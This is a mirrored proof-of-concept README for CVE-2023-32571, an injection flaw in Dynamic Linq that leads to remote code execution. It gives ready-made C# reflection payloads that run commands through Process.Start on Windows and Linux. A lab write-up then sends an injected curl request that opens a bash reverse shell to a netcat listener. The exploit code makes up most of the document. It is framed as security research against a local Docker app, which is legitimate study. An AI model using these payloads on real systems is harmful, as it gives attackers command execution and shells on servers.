Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-32571 PoC — Dynamic Linq 安全漏洞

Source
Associated Vulnerability
Title:Dynamic Linq 安全漏洞 (CVE-2023-32571)
Description:Dynamic Linq是免费开源LINQ 动态查询库。 Dynamic Linq 1.0.7.10 到 1.2.25版本存在安全漏洞,该漏洞源于允许攻击者在解析Where、Select、OrderBy 等不受信任输入的方法时执行任意代码和命令。
Readme
# Dynamic Linq injection to RCE - CVE-2023-32571
## About Dynamic Linq injection to RCE (CVE-2023-32571)
Recently, members of the NCC Group discovered a vulnerability in Dynamic Linq that allows attackers to call C# functions through a Linq Injection, thus making it possible to obtain RCE.

Even with the RCE report on Dynamic Linq, the members of the NCC Group for some reason did not make the POC available for executing commands.

## POC
As stated in the NCC Group research, we can call C# methods through "Invoke". With this, we can call "System.Diagnostics.Process.Start" and execute commands on the server.

We can use the "CreateInstanceFromAndUnwrap" method to call System.Diagnostics.Process through the assembly.

Payload to use the `System.AppDomain.CreateInstanceAndUnwrap` method:
```
"".GetType().Assembly.DefinedTypes.1Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()
```

Payload to call `System.Diagnostics.Process` through the `CreateInstanceAndUnwrap` method:
```
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))
```

By accessing the methods of the `System.Diagnostics.Process` class, we can use the `System.Diagnostics.Process.Start` method to execute commands on system:
```
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))
```

Obs: Notice the payload looks for the first 3 `Start` methods and gets the last one. I did this because the list of methods in `System.Diagnostics.Process` had several `Start` methods, and the one we need is the third one on the list.

## Final Payload

<b>Windows Targets</b>
```
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))
```
<br/>
<b>Linux Targets</b>

```
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))
```

## To start lab, follow the instructions

Install docker and docker-compose:

<b>Debian</b>

```
sudo apt update -y && sudo apt install docker.io docker-compose -y
```
<br/>
<b>Arch Linux</b>

```
sudo pacman -Syu && sudo pacman -S docker docker-compose
```
<br/>

Clone this repository:
```
git clone https://github.com/Tris0n/CVE-2023-32571-POC
```
<br/>
Go to repository directory:

```
cd CVE-2023-32571-POC
```

<br/>
Run docker-compose:

```
sudo docker-compose up --build
```
<br/>

The application starts on `http://localhost:8000/`

## Lab writeup

Accessing the "/api/products" route through the POST method, we see that it returns a list of products:
```
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products
```

![01 pn](https://github.com/Tris0n/dynamic-linq-injection-to-rce/assets/93105314/425c1d2b-45ce-4d4f-9619-61cafcc46239)

By sending the `name` parameter in json, we can filter products:
```
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products
```

![02](https://github.com/Tris0n/dynamic-linq-injection-to-rce/assets/93105314/11cd0ade-6b10-4e39-82e5-e1da46fe76af)

After some tests, we see that we were able to inject it into the Dynamic Linq query. By sending the following payload, we were able to obtain a reverse shell:

```
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products
```

![03](https://github.com/Tris0n/dynamic-linq-injection-to-rce/assets/93105314/67b6b074-decf-4d40-8b0b-63ef0047eae5)

```
nc -lvp 8001
```

![04](https://github.com/Tris0n/dynamic-linq-injection-to-rce/assets/93105314/58674416-581d-4ab4-958e-436ce632eed6)
File Snapshot

[4.0K] /data/pocs/4bc53c4ead95d8c6222ba463e2eee1863a73b111 ├── [4.0K] DynamicLinqToRce │   ├── [ 119] appsettings.Development.json │   ├── [ 142] appsettings.json │   ├── [4.0K] bin │   │   └── [4.0K] Debug │   │   └── [4.0K] net7.0 │   │   ├── [ 119] appsettings.Development.json │   │   ├── [ 142] appsettings.json │   │   ├── [5.2K] DynamicLinqToRce.deps.json │   │   ├── [ 10K] DynamicLinqToRce.dll │   │   ├── [151K] DynamicLinqToRce.exe │   │   ├── [ 21K] DynamicLinqToRce.pdb │   │   ├── [ 398] DynamicLinqToRce.runtimeconfig.json │   │   ├── [ 64K] Microsoft.AspNetCore.OpenApi.dll │   │   ├── [206K] Microsoft.OpenApi.dll │   │   ├── [ 15K] Swashbuckle.AspNetCore.Swagger.dll │   │   ├── [ 95K] Swashbuckle.AspNetCore.SwaggerGen.dll │   │   ├── [3.1M] Swashbuckle.AspNetCore.SwaggerUI.dll │   │   └── [212K] System.Linq.Dynamic.Core.dll │   ├── [4.0K] Controllers │   │   └── [ 779] ProductsController.cs │   ├── [ 69] docker-compose.yml │   ├── [ 688] Dockerfile │   ├── [ 472] DynamicLinqToRce.csproj │   ├── [1.1K] DynamicLinqToRce.sln │   ├── [4.0K] Models │   │   ├── [ 61] Product.cs │   │   └── [ 86] ShowProducts.cs │   ├── [4.0K] obj │   │   ├── [4.0K] Debug │   │   │   └── [4.0K] net7.0 │   │   │   ├── [151K] apphost.exe │   │   │   ├── [ 959] DynamicLinqToRce.AssemblyInfo.cs │   │   │   ├── [ 41] DynamicLinqToRce.AssemblyInfoInputs.cache │   │   │   ├── [4.8K] DynamicLinqToRce.assets.cache │   │   │   ├── [2.9K] DynamicLinqToRce.csproj.AssemblyReference.cache │   │   │   ├── [ 0] DynamicLinqToRce.csproj.CopyComplete │   │   │   ├── [ 41] DynamicLinqToRce.csproj.CoreCompileInputs.cache │   │   │   ├── [3.9K] DynamicLinqToRce.csproj.FileListAbsolute.txt │   │   │   ├── [ 10K] DynamicLinqToRce.dll │   │   │   ├── [ 861] DynamicLinqToRce.GeneratedMSBuildEditorConfig.editorconfig │   │   │   ├── [ 41] DynamicLinqToRce.genruntimeconfig.cache │   │   │   ├── [ 753] DynamicLinqToRce.GlobalUsings.g.cs │   │   │   ├── [ 0] DynamicLinqToRce.MvcApplicationPartsAssemblyInfo.cache │   │   │   ├── [ 679] DynamicLinqToRce.MvcApplicationPartsAssemblyInfo.cs │   │   │   ├── [ 21K] DynamicLinqToRce.pdb │   │   │   ├── [4.0K] ref │   │   │   │   └── [6.5K] DynamicLinqToRce.dll │   │   │   ├── [4.0K] refint │   │   │   │   └── [6.5K] DynamicLinqToRce.dll │   │   │   ├── [4.0K] staticwebassets │   │   │   │   ├── [ 89] msbuild.build.DynamicLinqToRce.props │   │   │   │   ├── [ 78] msbuild.buildMultiTargeting.DynamicLinqToRce.props │   │   │   │   └── [ 92] msbuild.buildTransitive.DynamicLinqToRce.props │   │   │   └── [ 283] staticwebassets.build.json │   │   ├── [2.5K] DynamicLinqToRce.csproj.nuget.dgspec.json │   │   ├── [2.0K] DynamicLinqToRce.csproj.nuget.g.props │   │   ├── [ 546] DynamicLinqToRce.csproj.nuget.g.targets │   │   ├── [ 27K] project.assets.json │   │   └── [1.3K] project.nuget.cache │   ├── [ 532] Program.cs │   └── [4.0K] Properties │   └── [1.1K] launchSettings.json └── [6.2K] README.md 13 directories, 51 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.